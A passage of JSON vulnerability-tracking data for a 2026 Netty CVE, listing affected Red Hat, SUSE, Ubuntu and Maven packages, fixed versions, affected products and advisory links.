Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-1.SP3_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk17","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el9","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el9eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el7","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el7sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el7","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el7sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el8","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el8sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el8","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el8sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el9","package":"rh-sso7-keycloak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el9sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Red Hat:red_hat_single_sign_on:7.6::el9","package":"rh-sso7-keycloak-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:18.0.20-1.redhat_00001.1.el9sso"}]}],"bundled":27},{"source":"osv","ecosystem":"Root:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.126.Final-aikido.24"},{"fixed":"4.1.118.Final-aikido.25"},{"fixed":"4.1.126.Final-aikido.18"},{"fixed":"4.1.118.Final-aikido.19"},{"fixed":"4.1.126.Final-aikido.19"},{"fixed":"4.1.118.Final-aikido.20"},{"fixed":"4.1.126.Final-aikido.20"},{"fixed":"4.1.118.Final-aikido.21"},{"fixed":"4.1.126.Final-aikido.21"},{"fixed":"4.1.118.Final-aikido.22"},{"fixed":"4.1.118.Final-aikido.23"},{"fixed":"4.1.126.Final-aikido.22"},{"fixed":"4.1.126.Final-aikido.23"},{"fixed":"4.1.118.Final-aikido.24"},{"fixed":"4.1.118.Final-aikido.26"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.126.Final-root.io.24"},{"fixed":"4.1.118.Final-root.io.12"},{"fixed":"4.1.126.Final-root.io.10"},{"fixed":"4.1.126.Final-root.io.11"},{"fixed":"4.1.126.Final-root.io.12"},{"fixed":"4.1.118.Final-root.io.13"},{"fixed":"4.1.118.Final-root.io.14"},{"fixed":"4.1.126.Final-root.io.13"},{"fixed":"4.1.118.Final-root.io.3"},{"fixed":"4.1.126.Final-root.io.14"},{"fixed":"4.1.118.Final-root.io.15"},{"fixed":"4.1.118.Final-root.io.25"},{"fixed":"4.1.118.Final-root.io.16"},{"fixed":"4.1.126.Final-root.io.15"},{"fixed":"4.1.126.Final-root.io.16"},{"fixed":"4.1.118.Final-root.io.17"},{"fixed":"4.1.118.Final-root.io.18"},{"fixed":"4.1.126.Final-root.io.17"},{"fixed":"4.1.126.Final-root.io.18"},{"fixed":"4.1.118.Final-root.io.19"},{"fixed":"4.1.126.Final-root.io.19"},{"fixed":"4.1.118.Final-root.io.20"},{"fixed":"4.1.126.Final-root.io.20"},{"fixed":"4.1.118.Final-root.io.21"},{"fixed":"4.1.126.Final-root.io.21"},{"fixed":"4.1.118.Final-root.io.22"},{"fixed":"4.1.118.Final-root.io.23"},{"fixed":"4.1.126.Final-root.io.22"},{"fixed":"4.1.126.Final-root.io.23"},{"fixed":"4.1.118.Final-root.io.24"},{"fixed":"4.1.118.Final-root.io.26"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-root.io.1"},{"fixed":"4.1.97.Final-root.io.2"},{"fixed":"4.1.97.Final-root.io.3"},{"fixed":"4.1.97.Final-root.io.4"},{"fixed":"4.1.97.Final-root.io.5"},{"fixed":"4.1.97.Final-root.io.6"},{"fixed":"4.1.97.Final-root.io.7"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.97.Final-aikido.7"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP7","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133-150200.4.46.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"netty-tcnative","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.77-150200.3.39.1"}]}],"bundled":12},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.45-1ubuntu0.1~esm6"}]}],"versions":["1:4.1.33-1","1:4.1.33-2","1:4.1.33-3","1:4.1.45-1","1:4.1.45-1ubuntu0.1~esm1","1:4.1.45-1ubuntu0.1~esm2","1:4.1.45-1ubuntu0.1~esm3","1:4.1.45-1ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-4+deb11u2ubuntu0.1+esm3"}]}],"versions":["1:4.1.48-4","1:4.1.48-4+deb11u1build0.22.04.1","1:4.1.48-4+deb11u2build0.22.04.1","1:4.1.48-4+deb11u2ubuntu0.1~esm1","1:4.1.48-4+deb11u2ubuntu0.1~esm2","1:4.1.48-4+deb11u2ubuntu0.1","1:4.1.48-4+deb11u2ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-9ubuntu0.1+esm3"}]}],"versions":["1:4.1.48-7","1:4.1.48-8","1:4.1.48-9","1:4.1.48-9ubuntu0.1~esm1","1:4.1.48-9ubuntu0.1~esm2","1:4.1.48-9ubuntu0.1","1:4.1.48-9ubuntu0.1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10ubuntu0.25.10.1","1:4.1.48-10ubuntu0.25.10.2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-16","1:4.1.48-16ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:4.1.48-16ubuntu0.1~esm2"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-16"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.133-1.1"}]}],"bundled":12}],"affected_more":534,"products":[{"vendor":"netty","product":"netty"},{"vendor":"red hat","product":"cryostat 4 on rhel 9"},{"vendor":"red hat","product":"openshift serverless"},{"vendor":"red hat","product":"red hat build of apache camel 4 for quarkus 3"},{"vendor":"red hat","product":"red hat build of apache camel 4.18.1.p1 for spring boot 3.5.16"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of apicurio registry 3"},{"vendor":"red hat","product":"red hat build of debezium 3"},{"vendor":"red hat","product":"red hat build of keycloak"},{"vendor":"red hat","product":"red hat build of optaplanner 8"},{"vendor":"red hat","product":"red hat build of quarkus 3.27.4"},{"vendor":"red hat","product":"red hat build of quarkus 3.33.2"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7.4 els on rhel 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7.4 els on rhel 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7.4 els on rhel 9"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8.1 for rhel 10"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8.1 for rhel 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8.1 for rhel 9"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8.1.7.ga"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.28"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.29"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"streams for apache kafka 2"},{"vendor":"red hat","product":"streams for apache kafka 3.2.1"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42579","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477217","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42579.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49700","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53644","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53645","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:28010","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:53646","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:49701","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:65126","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:25123","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36820","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:37390","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23808","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24502","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:54435","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://tools.ietf.org/html/rfc1035#section-2.3.4","tags":["web"]},{"url":"https://tools.ietf.org/html/rfc1035#section-4.1.4","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42579","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cm33-6792-r9fm","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p","tags":["web"]},{"url":"https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61","tags":["web"]},{"url":"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-44487","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-44487","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xpw8-rcwv-8f8p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42579.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42579","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73508.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-mfg7-5gfp-c4w3","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73508","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["fix"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-mfg7-5gfp-c4w3","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/8.1","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/8.1/html/release_notes_for_red_hat_jboss_enterprise_application_platform_8.1/index","tags":["article"]},{"url":"https://access.redhat.com/articles/7145683","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488081","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488391","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488400","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488429","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488439","tags":["report"]},{"url":"https://issues.redhat.com/browse/JBEAP-33514","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33903","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_49700.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42578","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477226","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42578","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42578","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42579","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42581","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477232","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42581","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42581","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42584","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477224","tags":["report"]},{"url":"https://www.cve.org/CVERe